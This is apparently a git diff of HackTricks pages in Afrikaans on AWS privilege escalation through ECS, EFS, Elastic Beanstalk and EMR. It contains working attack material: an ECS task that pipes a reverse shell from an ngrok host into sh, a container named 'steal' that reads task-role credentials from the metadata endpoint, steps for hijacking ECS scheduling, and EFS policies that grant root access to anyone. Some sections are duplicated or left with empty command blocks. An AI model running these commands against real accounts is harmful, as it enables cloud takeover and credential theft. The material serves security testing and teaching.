**`ecs:StartTask`** het, voer 'n taak uit met `aws ecs start-task --enable-execute-command [...]` +- As hy **`ecs:CreateService`** het, skep 'n diens met `aws ecs create-service --enable-execute-command [...]` +- As hy **`ecs:UpdateService`** het, werk 'n diens by met `aws ecs update-service --enable-execute-command [...]` + +Jy kan **voorbeelde van daardie opsies** vind in **vorige ECS privesc-afdelings**. + +**Potensiële impak:** Privesc na 'n ander rol wat aan houers gekoppel is. + +### `ssm:StartSession` + +Kyk op die **ssm privesc page** hoe jy hierdie toestemming kan misbruik om **privesc na ECS**: + +{{#ref}} +../aws-ssm-privesc/README.md +{{#endref}} + +### `iam:PassRole`, `ec2:RunInstances` + +Kyk op die **ec2 privesc page** hoe jy hierdie permissies kan misbruik om **privesc na ECS**: + +{{#ref}} +../aws-ec2-privesc/README.md +{{#endref}} + +### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole` + +'n aanvaller met hierdie permissies kan moontlik 'n EC2-instansie in 'n ECS-kluster registreer en take daarop laat loop. Dit kan die aanvaller toelaat om arbitrêre kode binne die konteks van die ECS-take uit te voer. + +- TODO: Is dit moontlik om 'n instansie van 'n ander AWS-rekening te registreer sodat take op masjiene wat deur die aanvaller beheer word uitgevoer word?? + +### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets` + +> [!NOTE] +> TODO: Toets dit + +'n aanvaller met die permissies `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, en `ecs:DescribeTaskSets` kan **'n kwaadwillige taakstel skep vir 'n bestaande ECS-diens en die primêre taakstel opdateer**. Dit stel die aanvaller in staat om **arbitrêre kode binne die diens uit te voer**. +```bash +# Register a task definition with a reverse shell +echo '{ +"family": "malicious-task", +"containerDefinitions": [ +{ +"name": "malicious-container", +"image": "alpine", +"command": [ +"sh", +"-c", +"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh" +] +} +] +}' > malicious-task-definition.json + +aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json + +# Create a malicious task set for the existing service +aws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}" + +# Update the primary task set for the service +aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id +``` +**Potensiële impak**: Voer ewekansige kode uit in die betrokke diens, wat moontlik sy funksionaliteit kan benadeel of sensitiewe data kan eksfiltreer. + +## Verwysings + +- [https://ruse.tech/blogs/ecs-attack-methods](https://ruse.tech/blogs/ecs-attack-methods) + +{{#include ../../../../banners/hacktricks-training.md}} + + + + + +### Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover) + +’n Aanvaller met permissies om ECS capacity providers te bestuur en dienste op te dateer kan ’n EC2 Auto Scaling Group skep wat hy beheer, dit in ’n ECS Capacity Provider verpak, dit aan die teiken-cluster koppel en ’n slagoffer-diens migreer om hierdie provider te gebruik. Tasks sal dan op aanvaller-beheerde EC2 instances geskeduleer word, wat OS-vlak toegang moontlik maak om containers te inspekteer en task role credentials te steel. + +Commands (us-east-1): + +- Vereistes + + + +- Create Launch Template for ECS agent to join target cluster + + + +- Create Auto Scaling Group + + + +- Create Capacity Provider from the ASG + + + +- Associate the Capacity Provider to the cluster (optionally as default) + + + +- Migrate a service to your provider + + + +- Verify tasks land on attacker instances + + + +- Opsioneel: From the EC2 node, docker exec into target containers and read http://169.254.170.2 to obtain the task role credentials. + +- Cleanup + + + +**Potensiële impak:** Attacker-controlled EC2 nodes receive victim tasks, enabling OS-level access to containers and theft of task IAM role credentials. + + +
+Stap-vir-stap opdragte (kopieer/plak) +
+export AWS_DEFAULT_REGION=us-east-1
+CLUSTER=arn:aws:ecs:us-east-1:947247140022:cluster/ht-victim-cluster
+# Instance profile for ECS nodes
+aws iam create-role --role-name ht-ecs-instance-role --assume-role-policy-document Version:2012-10-17 || true
+aws iam attach-role-policy --role-name ht-ecs-instance-role --policy-arn arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role || true
+aws iam create-instance-profile --instance-profile-name ht-ecs-instance-profile || true
+aws iam add-role-to-instance-profile --instance-profile-name ht-ecs-instance-profile --role-name ht-ecs-instance-role || true
+
+VPC=vpc-18e6ac62
+SUBNETS=
+
+AMI=ami-0b570770164588ab4
+USERDATA=IyEvYmluL2Jhc2gKZWNobyBFQ1NfQ0xVU1RFUj0gPj4gL2V0Yy9lY3MvZWNzLmNvbmZpZwo=
+LT_ID=
+
+ASG_ARN=
+
+CP_NAME=htcp-8797
+aws ecs create-capacity-provider --name  --auto-scaling-group-provider "autoScalingGroupArn=,managedScaling={status=ENABLED,targetCapacity=100},managedTerminationProtection=DISABLED"
+aws ecs put-cluster-capacity-providers --cluster "" --capacity-providers  --default-capacity-provider-strategy capacityProvider=,weight=1
+
+SVC=
+# Task definition must be EC2-compatible (not Fargate-only)
+aws ecs update-service --cluster "" --service "" --capacity-provider-strategy capacityProvider=,weight=1 --force-new-deployment
+
+TASK=
+CI=
+aws ecs describe-container-instances --cluster "" --container-instances "" --query containerInstances[0].ec2InstanceId --output text
+
+
+ +### Backdoor compute in-cluster via ECS Anywhere EXTERNAL registration + +Misbruik ECS Anywhere om ’n aanvaller-beheerde gasheer as ’n EXTERNAL container instance in ’n slagoffer ECS cluster te registreer en tasks op daardie gasheer te laat loop met bevoorregte task en execution roles. Dit gee OS-vlak beheer oor waar tasks uitgevoer word (jou eie masjien) en laat diefstal van credentials/data vanaf tasks en aangehegte volumes toe sonder om capacity providers of ASGs te raak. + +- Vereiste perms (voorbeeld minimaal): +- ecs:CreateCluster (optional), ecs:RegisterTaskDefinition, ecs:StartTask or ecs:RunTask +- ssm:CreateActivation, ssm:DeregisterManagedInstance, ssm:DeleteActivation +- iam:CreateRole, iam:AttachRolePolicy, iam:DeleteRole, iam:PassRole (for the ECS Anywhere instance role and task/execution roles) +- logs:CreateLogGroup/Stream, logs:PutLogEvents (if using awslogs) + +- Impact: Run arbitrary containers with chosen taskRoleArn on attacker host; eksfiltreer task-role credentials from 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI; toegang tot enige volumes wat deur tasks gemonteer is; minder opvallend as die manipulasie van capacity providers/ASGs. + +Stappe + +1) Skep/identifiseer cluster (us-east-1) +```bash +aws ecs create-cluster --cluster-name ht-ecs-anywhere +``` +2) Skep ECS Anywhere rol en SSM-aktivering (vir on-prem/EXTERNAL instansie) +```bash +aws iam create-role --role-name ecsAnywhereRole \ +--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ssm.amazonaws.com"},"Action":"sts:AssumeRole"}]}' +aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam::aws:policy/AmazonSSMManagedInstanceCore +aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role +ACTJSON=$(aws ssm create-activation --iam-role ecsAnywhereRole) +ACT_ID=$(echo $ACTJSON | jq -r .ActivationId); ACT_CODE=$(echo $ACTJSON | jq -r .ActivationCode) +``` +3) Verskaf attacker host en registreer dit outomaties as EXTERNAL (voorbeeld: klein AL2 EC2 as “on‑prem”) + +
+user-data.sh +```bash +#!/bin/bash +set -euxo pipefail +amazon-linux-extras enable docker || true +yum install -y docker curl jq +systemctl enable --now docker +curl -fsSL -o /root/ecs-anywhere-install.sh "https://amazon-ecs-agent.s3.amazonaws.com/ecs-anywhere-install-latest.sh" +chmod +x /root/ecs-anywhere-install.sh +/root/ecs-anywhere-install.sh --cluster ht-ecs-anywhere --activation-id ${ACT_ID} --activation-code ${ACT_CODE} --region us-east-1 +``` +
+```bash +AMI=$(aws ssm get-parameters --names /aws/service/ami-amazon-linux-latest/amzn2-ami-hvm-x86_64-gp2 --query 'Parameters[0].Value' --output text) +IID=$(aws ec2 run-instances --image-id $AMI --instance-type t3.micro \ +--user-data file://user-data.sh --query 'Instances[0].InstanceId' --output text) +aws ec2 wait instance-status-ok --instance-ids $IID +``` +4) Verifieer EXTERNAL container instance het aangesluit +```bash +aws ecs list-container-instances --cluster ht-ecs-anywhere +aws ecs describe-container-instances --cluster ht-ecs-anywhere \ +--container-instances --query 'containerInstances[0].[ec2InstanceId,attributes]' +# ec2InstanceId will be mi-XXXXXXXX (SSM managed instance id) and attributes include ecs.capability.external +``` +5) Skep task/execution roles, registreer EXTERNAL task definition, en voer dit uit op die attacker host +```bash +# roles +aws iam create-role --role-name ht-ecs-task-exec \ +--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs-tasks.amazonaws.com"},"Action":"sts:AssumeRole"}]}' +aws iam attach-role-policy --role-name ht-ecs-task-exec --policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSTaskExecutionRolePolicy +aws iam create-role --role-name ht-ecs-task-role \ +--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs-tasks.amazonaws.com"},"Action":"sts:AssumeRole"}]}' +# attach any privileges you want to abuse to this task role + +# task def (EXTERNAL launch) +cat > td-external.json << 'JSON' +{ +"family": "ht-external", +"requiresCompatibilities": [ "EXTERNAL" ], +"networkMode": "bridge", +"memory": "256", +"cpu": "128", +"executionRoleArn": "arn:aws:iam:::role/ht-ecs-task-exec", +"taskRoleArn": "arn:aws:iam:::role/ht-ecs-task-role", +"containerDefinitions": [ +{"name":"steal","image":"public.ecr.aws/amazonlinux/amazonlinux:latest", +"entryPoint":["/bin/sh","-c"], +"command":["REL=\$(printenv AWS_CONTAINER_CREDENTIALS_RELATIVE_URI); echo CREDS:; curl -s http://169.254.170.2\$REL; sleep 600"], +"memory": 128, +"logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/anywhere","awslogs-stream-prefix":"steal"}} +} +] +} +JSON +aws logs create-log-group --log-group-name /ht/ecs/anywhere || true +aws ecs register-task-definition --cli-input-json file://td-external.json +CI=$(aws ecs list-container-instances --cluster ht-ecs-anywhere --query 'containerInstanceArns[0]' --output text) +aws ecs start-task --cluster ht-ecs-anywhere --task-definition ht-external \ +--container-instances $CI +``` +6) Van hier af beheer jy die host wat die tasks uitvoer. Jy kan task logs lees (as awslogs) of direk exec op die host om credentials/data van jou tasks te exfiltrate. + + +#### Command voorbeeld (plekhouers) + + + + +### Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover) + +'n Aanvaller met permissies om ECS capacity providers te bestuur en services by te werk kan 'n EC2 Auto Scaling Group skep wat hy beheer, dit in 'n ECS Capacity Provider verpak, dit aan die target cluster koppel, en 'n slagoffer-diens migreer om hierdie provider te gebruik. Tasks sal dan op aanvaller-beheerde EC2 instances geskeduleer word, wat OS-vlak toegang gee om containers te inspekteer en task role credentials te steel. + +Commands (us-east-1): + +- Vereistes + + + +- Skep Launch Template vir die ECS agent om by die target cluster aan te sluit + + + +- Skep Auto Scaling Group + + + +- Skep Capacity Provider vanaf die ASG + + + +- Koppel die Capacity Provider aan die cluster (opsioneel as standaard) + + + +- Migreer 'n diens na jou provider + + + +- Verifieer dat tasks op aanvaller-instances land + + + +- Opsioneel: Vanaf die EC2 node, docker exec in die target containers en lees http://169.254.170.2 om die task role credentials te bekom. + +- Opruiming + + + +**Potensiële impak:** Aanvaller-beheerde EC2 nodes ontvang slagoffer se tasks, wat OS-vlak toegang tot containers moontlik maak en diefstal van task IAM role credentials toelaat. diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md deleted file mode 100644 index a82881be6..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md +++ /dev/null @@ -1,86 +0,0 @@ -# AWS - EFS Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## EFS - -Meer **inligting oor EFS** in: - -{{#ref}} -../aws-services/aws-efs-enum.md -{{#endref}} - -Onthou dat jy in 'n subnetwerk moet wees waar die EFS blootgestel is en toegang daartoe moet hê (veiligheidsgroepe) om 'n EFS te monteer. As dit gebeur, sal jy dit altyd kan monteer, maar as dit deur IAM-beleide beskerm word, moet jy die ekstra toestemmings hê wat hier genoem word om toegang te verkry. - -### `elasticfilesystem:DeleteFileSystemPolicy`|`elasticfilesystem:PutFileSystemPolicy` - -Met enige van daardie toestemmings kan 'n aanvaller die **lêerstelselsbeleid** **verander** om jou **toegang** daartoe te gee, of om dit net te **verwyder** sodat die **standaardtoegang** toegestaan word. - -Om die beleid te verwyder: -```bash -aws efs delete-file-system-policy \ ---file-system-id -``` -Om dit te verander: -```json -aws efs put-file-system-policy --file-system-id --policy file:///tmp/policy.json - -// Give everyone trying to mount it read, write and root access -// policy.json: -{ -"Version": "2012-10-17", -"Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763", -"Statement": [ -{ -"Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603", -"Effect": "Allow", -"Principal": { -"AWS": "*" -}, -"Action": [ -"elasticfilesystem:ClientRootAccess", -"elasticfilesystem:ClientWrite", -"elasticfilesystem:ClientMount" -], -"Condition": { -"Bool": { -"elasticfilesystem:AccessedViaMountTarget": "true" -} -} -} -] -} -``` -### `elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)` - -Met hierdie toestemming sal 'n aanvaller in staat wees om die **EFS te monteer**. As die skryftoestemming nie standaard aan almal wat die EFS kan monteer gegee word nie, sal hy slegs **lees toegang** hê. -```bash -sudo mkdir /efs -sudo mount -t efs -o tls,iam :/ /efs/ -``` -Die ekstra toestemmings `elasticfilesystem:ClientRootAccess` en `elasticfilesystem:ClientWrite` kan gebruik word om **te skryf** binne die lêerstelsel nadat dit gemonteer is en om **toegang** tot daardie lêerstelsel **as root** te verkry. - -**Potensiële Impak:** Indirekte privesk deur sensitiewe inligting in die lêerstelsel te lokaliseer. - -### `elasticfilesystem:CreateMountTarget` - -As jy 'n aanvaller is wat binne 'n **subnet** is waar **geen monteerdoel** van die EFS bestaan nie. Hy kan eenvoudig **een in sy subnet skep** met hierdie voorreg: -```bash -# You need to indicate security groups that will grant the user access to port 2049 -aws efs create-mount-target --file-system-id \ ---subnet-id \ ---security-groups -``` -**Potensiële Impak:** Indirekte privesc deur sensitiewe inligting in die lêerstelsel te vind. - -### `elasticfilesystem:ModifyMountTargetSecurityGroups` - -In 'n scenario waar 'n aanvaller vind dat die EFS 'n mount target in sy subnetwerk het, maar **geen sekuriteitsgroep die verkeer toelaat nie**, kan hy eenvoudig **dit verander deur die geselekteerde sekuriteitsgroepe aan te pas**: -```bash -aws efs modify-mount-target-security-groups \ ---mount-target-id \ ---security-groups -``` -**Potensiële Impak:** Indirekte privesc deur sensitiewe inligting in die lêerstelsel te lokaliseer. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc/README.md new file mode 100644 index 000000000..d1df67bca --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc/README.md @@ -0,0 +1,86 @@ +# AWS - EFS Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## EFS + +Meer **inligting oor EFS** in: + +{{#ref}} +../../aws-services/aws-efs-enum.md +{{#endref}} + +Onthou dat om 'n EFS te mount moet jy in 'n subnetwork wees waar die EFS blootgestel is en toegang daartoe hê (security groups). As dit die geval is, sal jy standaard altyd in staat wees om dit te mount; egter, as dit deur IAM policies beskerm word, moet jy die ekstra permissions wat hier genoem word hê om toegang daartoe te kry. + +### `elasticfilesystem:DeleteFileSystemPolicy`|`elasticfilesystem:PutFileSystemPolicy` + +Met enige van daardie permissions kan 'n attacker die **file system policy** verander om **jou toegang** daartoe te gee, of dit net **te delete** sodat die **default access** gegee word. + +Om die policy te delete: +```bash +aws efs delete-file-system-policy \ +--file-system-id +``` +Om dit te verander: +```json +aws efs put-file-system-policy --file-system-id --policy file:///tmp/policy.json + +// Give everyone trying to mount it read, write and root access +// policy.json: +{ +"Version": "2012-10-17", +"Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763", +"Statement": [ +{ +"Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": [ +"elasticfilesystem:ClientRootAccess", +"elasticfilesystem:ClientWrite", +"elasticfilesystem:ClientMount" +], +"Condition": { +"Bool": { +"elasticfilesystem:AccessedViaMountTarget": "true" +} +} +} +] +} +``` +### `elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)` + +Met hierdie permisie kan 'n aanvaller die **mount the EFS** uitvoer. As die **write permission** nie standaard aan almal wat die **mount the EFS** kan doen gegee is nie, sal hy slegs **read access** hê. +```bash +sudo mkdir /efs +sudo mount -t efs -o tls,iam :/ /efs/ +``` +Die ekstra permissies `elasticfilesystem:ClientRootAccess` en `elasticfilesystem:ClientWrite` kan gebruik word om binne die lêerstelsel te **skryf** nadat dit gemount is en om daardie lêerstelsel **toegang te kry** **as root**. + +**Potential Impact:** Indirekte privesc deur sensitiewe inligting in die lêerstelsel te vind. + +### `elasticfilesystem:CreateMountTarget` + +As 'n aanvaller binne 'n **subnetwerk** is waar **geen mount target** van die EFS bestaan, kan hy net **een in sy subnet skep** met hierdie voorreg: +```bash +# You need to indicate security groups that will grant the user access to port 2049 +aws efs create-mount-target --file-system-id \ +--subnet-id \ +--security-groups +``` +**Potential Impact:** Indirekte privesc deur sensitiewe inligting in die lêerstelsel te vind. + +### `elasticfilesystem:ModifyMountTargetSecurityGroups` + +In 'n scenario waar 'n aanvaller vind dat die EFS 'n mount target in sy subnetwerk het maar **geen security group die verkeer toelaat nie**, kan hy net dit **verander deur die geselekteerde security groups te wysig**: +```bash +aws efs modify-mount-target-security-groups \ +--mount-target-id \ +--security-groups +``` +**Potensiële impak:** Indirekte privesc deur sensitiewe inligting in die lêerstelsel te vind. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc/README.md similarity index 70% rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc/README.md index 35fa3fcbc..8dacac70a 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc/README.md @@ -1,21 +1,21 @@ # AWS - Elastic Beanstalk Privesc -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## Elastic Beanstalk -Meer **inligting oor Elastic Beanstalk** in: +Meer **inligting oor Elastic Beanstalk** by: {{#ref}} -../aws-services/aws-elastic-beanstalk-enum.md +../../aws-services/aws-elastic-beanstalk-enum.md {{#endref}} > [!WARNING] -> Om sensitiewe aksies in Beanstalk uit te voer, sal jy **'n baie groot aantal sensitiewe toestemmings in 'n baie verskillende dienste** nodig hê. Jy kan byvoorbeeld die toestemmings nagaan wat gegee is aan **`arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk`** +> Om sensitiewe aksies in Beanstalk uit te voer, benodig jy 'n **groot hoeveelheid sensitiewe toestemmings oor baie verskillende dienste**. Jy kan byvoorbeeld die toestemmings nagaan wat gegee is aan **`arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk`** ### `elasticbeanstalk:RebuildEnvironment`, S3 skryftoestemmings & baie ander -Met **skryftoestemmings oor die S3-bucket** wat die **kode** van die omgewing bevat en toestemmings om die toepassing te **herbou** (dit is nodig `elasticbeanstalk:RebuildEnvironment` en 'n paar meer wat verband hou met `S3`, `EC2` en `Cloudformation`), kan jy die **kode** **wysig**, die app **herbou** en die volgende keer wanneer jy toegang tot die app kry, sal dit **jou nuwe kode uitvoer**, wat die aanvaller in staat stel om die toepassing en die IAM-rol geloofsbriewe daarvan te kompromitteer. +Met **skryftoestemming oor die S3-bucket** wat die **code** van die omgewing bevat en toestemmings om die toepassing te **herbou** (dit benodig `elasticbeanstalk:RebuildEnvironment` en 'n paar meer verbonde aan `S3`, `EC2` en `Cloudformation`), kan jy die **code** **wysig**, die app **herbou** en die volgende keer wanneer jy die app besoek sal dit jou **nuwe code** uitvoer, wat die aanvaller in staat stel om die toepassing en die IAM role credentials daarvan te kompromitteer. ```bash # Create folder mkdir elasticbeanstalk-eu-west-1-947247140022 @@ -32,27 +32,27 @@ aws elasticbeanstalk rebuild-environment --environment-name "env-name" ``` ### `elasticbeanstalk:CreateApplication`, `elasticbeanstalk:CreateEnvironment`, `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `iam:PassRole`, en meer... -Die genoemde plus verskeie **`S3`**, **`EC2`, `cloudformation`**, **`autoscaling`** en **`elasticloadbalancing`** toestemmings is nodig om 'n rou Elastic Beanstalk-scenario van nuuts af te skep. +Die genoemde plus verskeie **`S3`**, **`EC2`, `cloudformation`** ,**`autoscaling`** and **`elasticloadbalancing`** toestemmings is nodig om 'n rou Elastic Beanstalk-scenario van nuuts af te skep. - Skep 'n AWS Elastic Beanstalk-toepassing: ```bash aws elasticbeanstalk create-application --application-name MyApp ``` -- Skep 'n AWS Elastic Beanstalk omgewing ([**ondersteunde platforms**](https://docs.aws.amazon.com/elasticbeanstalk/latest/platforms/platforms-supported.html#platforms-supported.python)): +- Skep 'n AWS Elastic Beanstalk-omgewing ([**supported platforms**](https://docs.aws.amazon.com/elasticbeanstalk/latest/platforms/platforms-supported.html#platforms-supported.python)): ```bash aws elasticbeanstalk create-environment --application-name MyApp --environment-name MyEnv --solution-stack-name "64bit Amazon Linux 2 v3.4.2 running Python 3.8" --option-settings Namespace=aws:autoscaling:launchconfiguration,OptionName=IamInstanceProfile,Value=aws-elasticbeanstalk-ec2-role ``` -As 'n omgewing reeds geskep is en jy **nie 'n nuwe een wil skep nie**, kan jy net die bestaande een **opdateer**. +As 'n omgewing reeds geskep is en jy **wil nie 'n nuwe een skep nie**, kan jy net die bestaande een **bywerk**. -- Pakket jou toepassingskode en afhanklikhede in 'n ZIP-lêer: +- Pak jou toepassingskode en afhanklikhede in 'n ZIP-lêer: ```python zip -r MyApp.zip . ``` -- Laai die ZIP-lêer na 'n S3-bucket op: +- Laai die ZIP-lêer na 'n S3-bucket: ```python aws s3 cp MyApp.zip s3://elasticbeanstalk--/MyApp.zip ``` -- Skep 'n AWS Elastic Beanstalk-toepassing weergawe: +- Skep AWS Elastic Beanstalk toepassingsweergawe: ```css aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-1.0 --source-bundle S3Bucket="elasticbeanstalk--",S3Key="MyApp.zip" ``` @@ -62,7 +62,7 @@ aws elasticbeanstalk update-environment --environment-name MyEnv --version-label ``` ### `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `cloudformation:GetTemplate`, `cloudformation:DescribeStackResources`, `cloudformation:DescribeStackResource`, `autoscaling:DescribeAutoScalingGroups`, `autoscaling:SuspendProcesses`, `autoscaling:SuspendProcesses` -Eerstens moet jy 'n **legitieme Beanstalk-omgewing** skep met die **kode** wat jy in die **slagoffer** wil uitvoer volgens die **vorige stappe**. Potensieel 'n eenvoudige **zip** wat hierdie **2 lêers** bevat: +Eerstens moet jy 'n **legitieme Beanstalk-omgewing** skep met die **code** wat jy in die **victim** wil laat loop volgens die **vorige stappe**. Potensieel 'n eenvoudige **zip** wat hierdie **2 lêers** bevat: {{#tabs }} {{#tab name="application.py" }} @@ -111,7 +111,7 @@ Werkzeug==1.0.1 {{#endtab }} {{#endtabs }} -Sodra jy **jou eie Beanstalk omgewing** aan die gang het met jou rev shell, is dit tyd om dit te **migreer** na die **slachtoffer** se omgewing. Om dit te doen, moet jy die **Bucket-beleid** van jou beanstalk S3-bucket **opdateer** sodat die **slachtoffer toegang kan hê** (Let daarop dat dit die Bucket vir **ELKEEN** sal **oopmaak**): +Sodra jy **jou eie Beanstalk env laat loop** met jou rev shell, is dit tyd om dit na die **slagoffer** se env te **migreer**. Om dit te doen moet jy die **Bucket Policy** van jou Beanstalk S3 bucket opdateer sodat die **slagoffer toegang daartoe kan kry** (Let wel dat dit die Bucket vir **ALMAL** sal **open**): ```json { "Version": "2008-10-17", @@ -162,4 +162,4 @@ Alternatively, [MaliciousBeanstalk](https://github.com/fr4nk3nst1ner/MaliciousBe The developer has intentions to establish a reverse shell using Netcat or Socat with next steps to keep exploitation contained to the ec2 instance to avoid detections. ``` -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md deleted file mode 100644 index c7c4853e9..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md +++ /dev/null @@ -1,62 +0,0 @@ -# AWS - EMR Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## EMR - -Meer **inligting oor EMR** in: - -{{#ref}} -../aws-services/aws-emr-enum.md -{{#endref}} - -### `iam:PassRole`, `elasticmapreduce:RunJobFlow` - -'n Aanvaller met hierdie toestemmings kan **'n nuwe EMR-kluster uitvoer wat EC2-rolle aanheg** en probeer om sy akrediteer te steel.\ -Let daarop dat jy om dit te doen, **'n paar ssh priv sleutel wat in die rekening ingevoer is, moet ken** of een moet invoer, en in staat moet wees om **poort 22 in die meesterknoop te open** (jy mag in staat wees om dit te doen met die eienskappe `EmrManagedMasterSecurityGroup` en/of `ServiceAccessSecurityGroup` binne `--ec2-attributes`). -```bash -# Import EC2 ssh key (you will need extra permissions for this) -ssh-keygen -b 2048 -t rsa -f /tmp/sshkey -q -N "" -chmod 400 /tmp/sshkey -base64 /tmp/sshkey.pub > /tmp/pub.key -aws ec2 import-key-pair \ ---key-name "privesc" \ ---public-key-material file:///tmp/pub.key - - -aws emr create-cluster \ ---release-label emr-5.15.0 \ ---instance-type m4.large \ ---instance-count 1 \ ---service-role EMR_DefaultRole \ ---ec2-attributes InstanceProfile=EMR_EC2_DefaultRole,KeyName=privesc - -# Wait 1min and connect via ssh to an EC2 instance of the cluster) -aws emr describe-cluster --cluster-id -# In MasterPublicDnsName you can find the DNS to connect to the master instance -## You cna also get this info listing EC2 instances -``` -Let wel hoe 'n **EMR rol** gespesifiseer word in `--service-role` en 'n **ec2 rol** gespesifiseer word in `--ec2-attributes` binne `InstanceProfile`. Hierdie tegniek laat egter net toe om die EC2 rol geloofsbriewe te steel (soos jy via ssh sal aansluit) maar nie die EMR IAM Rol nie. - -**Potensiële Impak:** Privesc na die EC2 diensrol gespesifiseer. - -### `elasticmapreduce:CreateEditor`, `iam:ListRoles`, `elasticmapreduce:ListClusters`, `iam:PassRole`, `elasticmapreduce:DescribeEditor`, `elasticmapreduce:OpenEditorInConsole` - -Met hierdie toestemmings kan 'n aanvaller na die **AWS konsole** gaan, 'n Notebook skep en dit toegang om die IAM Rol te steel. - -> [!CAUTION] -> Selfs as jy 'n IAM rol aan die notaboek instansie heg, het ek in my toetse opgemerk dat ek in staat was om AWS bestuurde geloofsbriewe te steel en nie geloofsbriewe wat verband hou met die IAM rol nie. - -**Potensiële Impak:** Privesc na AWS bestuurde rol arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile - -### `elasticmapreduce:OpenEditorInConsole` - -Net met hierdie toestemming sal 'n aanvaller in staat wees om toegang te verkry tot die **Jupyter Notebook en die IAM rol** wat daaraan gekoppel is.\ -Die URL van die notaboek is `https://.emrnotebooks-prod.eu-west-1.amazonaws.com//lab/` - -> [!CAUTION] -> Selfs as jy 'n IAM rol aan die notaboek instansie heg, het ek in my toetse opgemerk dat ek in staat was om AWS bestuurde geloofsbriewe te steel en nie geloofsbriewe wat verband hou met die IAM rol nie. - -**Potensiële Impak:** Privesc na AWS bestuurde rol arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc/README.md new file mode 100644 index 000000000..4318eb02c --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc/README.md @@ -0,0 +1,62 @@ +# AWS - EMR Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## EMR + +Meer **inligting oor EMR** in: + +{{#ref}} +../../aws-services/aws-emr-enum.md +{{#endref}} + +### `iam:PassRole`, `elasticmapreduce:RunJobFlow` + +'n aanvaller met hierdie toestemmings kan **run a new EMR cluster attaching EC2 roles** en probeer om die credentials daarvan te steel.\ +Let wel: om dit te doen sal jy **know some ssh priv key imported in the account** of om een te importeer, en in staat wees om **open port 22 in the master node** (jy mag dit moontlik met die attributes `EmrManagedMasterSecurityGroup` en/of 